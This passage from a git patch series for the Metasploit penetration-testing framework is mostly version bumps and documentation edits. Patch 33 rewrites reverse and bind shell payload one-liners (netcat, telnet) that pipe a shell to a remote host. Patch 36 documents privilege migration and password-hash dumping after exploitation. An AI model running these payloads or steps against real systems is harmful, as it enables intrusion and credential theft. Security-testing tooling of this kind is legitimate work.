38320d43043a17089dbb58485dc618fe4cb1112b Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 3 May 2016 06:23:15 +0200 Subject: [PATCH 31/37] bump ruby version to 2.3.1 --- .ruby-version | 2 +- .travis.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.ruby-version b/.ruby-version index 63a1a1ca3c..2bf1c1ccf3 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.1.9 +2.3.1 diff --git a/.travis.yml b/.travis.yml index 4d4c2e3576..33a5af36c4 100644 --- a/.travis.yml +++ b/.travis.yml @@ -10,7 +10,7 @@ addons: - graphviz language: ruby rvm: - - '2.1.8' + - '2.3.1' env: - RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true From 7490ab1c78f353009589bb2e1a3f94443318fa1f Mon Sep 17 00:00:00 2001 From: Jenkins Date: Tue, 3 May 2016 17:09:07 -0700 Subject: [PATCH 32/37] Bump version of framework to 4.11.25 --- Gemfile.lock | 4 ++-- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 3c00ef5fc8..095992102f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.11.24) + metasploit-framework (4.11.25) actionpack (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) @@ -262,4 +262,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.12.0 + 1.12.1 diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 70e23139ce..a2d2db8f68 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.11.24" + VERSION = "4.11.25" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 74e5772bbf421e508364ba909103c2a8a08cacf9 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 4 May 2016 02:32:37 -0500 Subject: [PATCH 33/37] Replace mknod with mkfifo for portability Works on BSD and OS X now. This has been bugging me for a while. --- modules/payloads/singles/cmd/unix/bind_netcat.rb | 2 +- modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb | 4 ++-- modules/payloads/singles/cmd/unix/reverse_netcat.rb | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index f6fede2db6..4ffe755672 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -52,7 +52,7 @@ module MetasploitModule # def command_string backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4)) - "mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" + "mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" end end diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb index f6ad174f4d..17ac952d29 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -19,7 +19,7 @@ module MetasploitModule super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)', 'Description' => %q{ - Creates an interactive shell via mknod and telnet. + Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL. @@ -53,6 +53,6 @@ module MetasploitModule # def command_string pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 ) - cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" + cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" end end diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb index 1b45da190d..f21efada0d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat.rb @@ -52,7 +52,7 @@ module MetasploitModule # def command_string backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4)) - "mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} " + "mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} " end end From 94c8b51a5498b038e4e2321c6644c316ff8e6638 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 4 May 2016 09:57:43 -0500 Subject: [PATCH 34/37] bump payloads gem --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 095992102f..260ea255a9 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,7 +13,7 @@ PATH metasploit-concern metasploit-credential (= 1.1.0) metasploit-model (= 1.1.0) - metasploit-payloads (= 1.1.8) + metasploit-payloads (= 1.1.10) metasploit_data_models (= 1.3.0) msgpack network_interface (~> 0.0.1) @@ -130,7 +130,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.1.8) + metasploit-payloads (1.1.10) metasploit_data_models (1.3.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 693c4a8442..605fe3b6db 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.1.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.1.8' + spec.add_runtime_dependency 'metasploit-payloads', '1.1.10' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From e7ff4665e1746f658f963e091bfbe9605d8cd639 Mon Sep 17 00:00:00 2001 From: Jenkins Date: Wed, 4 May 2016 09:44:18 -0700 Subject: [PATCH 35/37] Bump version of framework to 4.11.26 --- Gemfile.lock | 2 +- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 260ea255a9..d74697ad83 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.11.25) + metasploit-framework (4.11.26) actionpack (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index a2d2db8f68..617135520f 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.11.25" + VERSION = "4.11.26" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 08416c600fa124d72eec590eeb927d79d4b0ff7c Mon Sep 17 00:00:00 2001 From: thao doan Date: Wed, 4 May 2016 11:14:29 -0700 Subject: [PATCH 36/37] Grammatical and style fixes for priv_migrate --- .../post/windows/manage/priv_migrate.md | 38 ++++++++++++------- 1 file changed, 24 insertions(+), 14 deletions(-) diff --git a/documentation/modules/post/windows/manage/priv_migrate.md b/documentation/modules/post/windows/manage/priv_migrate.md index 142db2d606..45b73a5e74 100644 --- a/documentation/modules/post/windows/manage/priv_migrate.md +++ b/documentation/modules/post/windows/manage/priv_migrate.md @@ -1,41 +1,51 @@ ## Overview -This module will evaluate a Windows Meterpreter session's privileges and migrate accordingly. A session with Admin rights will be migrated to a System owned process as described below. A session with User rights will be migrated to a User level process as described below. If a specified User level process is not running, it will spawn it then migrate. +This module evaluates a Windows Meterpreter session's privileges and migrates the session accordingly. The purpose of this module is to enable the scripting of migrations post exploitation, which allows you to immediately run post modules that require system rights. -The idea of this module is to streamline scripting of post exploitation migration to allow for the immediate running of post modules that require System rights. This module is a nice general addition to the beginning of an autorun script for post Meterpreter session creation. It is particularly useful in situations where incoming sessions may have mixed rights levels, and the session needs to be migrated appropriately for additional post modules to run. It is also useful in situations where migration needs to occur within a short period after the session is created. An example of an autorun script is provided below. +You can use this module in situations where incoming sessions may have mixed rights levels and the session needs to be migrated appropriately for additional post modules to run. It is also useful in situations where migration needs to occur within a short period after the session is created. + +The types of migrations that occur are described below: + +- A session with admin rights is migrated to a system owned process. +- A session with user rights is migrated to a user level process. If a specified user level process is not running, the module will spawn it and then migrate the session. + +This module is a nice addition to the beginning of an autorun script for post-Meterpreter session creation. An example of an autorun script is provided below. ## Module Options -- ANAME: Allows for the specification of a System level process that the module attempts to migrate to first if the session has Admin rights. -- NAME: Allows for the specification of a User level process that the module attempts to migrate to first if the session has User rights, or if Admin migration fails through all of the default processes. (See below) -- KILL: When set to TRUE, it kills the original process after a successful migration. (Default is FALSE) +- **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights. +- **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes. +- **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE. ## Module Process -- Retrieve the privilege information about the current session -- If the session has Admin rights it will attempt to migrate to a System owned process in the following order: +Here is the process that the module follows: + +- Retrieves the privilege information for the current session. +- If the session has admin rights, it attempts to migrate to a system owned process in the following order: - ANAME (Module option, if specified) - services.exe - winlogon.exe - wininit.exe - lsm.exe - lsass.exe -- If it is unable to migrate to one of these processes, it drops to User level migration -- If the session has User rights, it attempts to migrate to a User owned process in the below order. If it cannot migrate, it attempts to spawn the process and migrate to the newly spawned process. +- If it is unable to migrate to one of these processes, it drops to user level migration. +- If the session has user rights, it attempts to migrate to a user owned process in the following order: - NAME (Module option, if specified) - explorer.exe - notepad.exe +- If it cannot migrate, it attempts to spawn the process and migrates to the newly spawned process. ## Using This Module with AutoRun Scripts -The use of autorun scripts with this module is an easy way to automate post exploitation against incoming Meterpreter sessions. Below is basic setup information and a script example where this module comes in handy. +The use of autorun scripts with this module is an easy way to automate post-exploitation for incoming Meterpreter sessions. The following section describes the basic setup information and provides a script example to show how this module comes in handy. ### Basic Setup Information -Resource file (.rc) scripts can be used to automate many processes in Metasploit. Particularly console startup and scripts that are executed once a session is created. +Resource file (.rc) scripts can be used to automate many processes in Metasploit, particularly starting up the console and running scripts once a session is created. -Startup scripts are executed using the following example where startup.rc is the startup script, and it is located in the user's home directory. Startup scripts are executed once the Metasploit framework is loaded. +Startup scripts are executed using the following example where startup.rc is the startup script, and it is located in the user's home directory. Startup scripts are executed once the Metasploit Framework is loaded. ``` ./msfconsole -r /home/user/startup.rc ``` -Below is an example startup script that fires up a Meterpreter listener and specifies an autorun script that will be executed when a new session is created. In this example auto.rc is the script to be run after session creation. +The following is an example startup script that fires up a Meterpreter listener and specifies an autorun script that will be executed when a new session is created. In this example auto.rc is the script to be run after session creation. ``` use exploit/multi/handler @@ -48,7 +58,7 @@ exploit -j ``` ### AutoRun Script Example -This example is a script that will use priv_migrate to migrate the session based on session rights. After migration, it executes modules that will retrieve user password hashes and cached domain hashes. Each one of the hash dump modules requires System rights to be successful. Priv_migrate makes it possible to execute these modules in an autorun script. For sessions with User rights, the hash dump modules will fail, but that is unlikely to impact the state of the session. +This example is a script that will use priv_migrate to migrate the session based on session rights. After migration, it executes modules that will retrieve user password hashes and cached domain hashes. Each one of the hash dump modules requires system rights to be successful. Priv_migrate makes it possible to execute these modules in an autorun script. For sessions with user rights, the hash dump modules will fail, but that is unlikely to impact the state of the session. ``` run post/windows/manage/priv_migrate From 9357a3072528f06a0fad4023135542cdc4f11746 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 4 May 2016 22:15:33 +0200 Subject: [PATCH 37/37] remove duplicate key --- modules/auxiliary/scanner/portscan/tcp.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 59a57e47a0..bfe24b14b4 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -22,7 +22,6 @@ class MetasploitModule < Msf::Auxiliary This does not need administrative privileges on the source machine, which may be useful if pivoting. }, - 'Description' => 'Enumerate open TCP services', 'Author' => [ 'hdm', 'kris katterjohn' ], 'License' => MSF_LICENSE )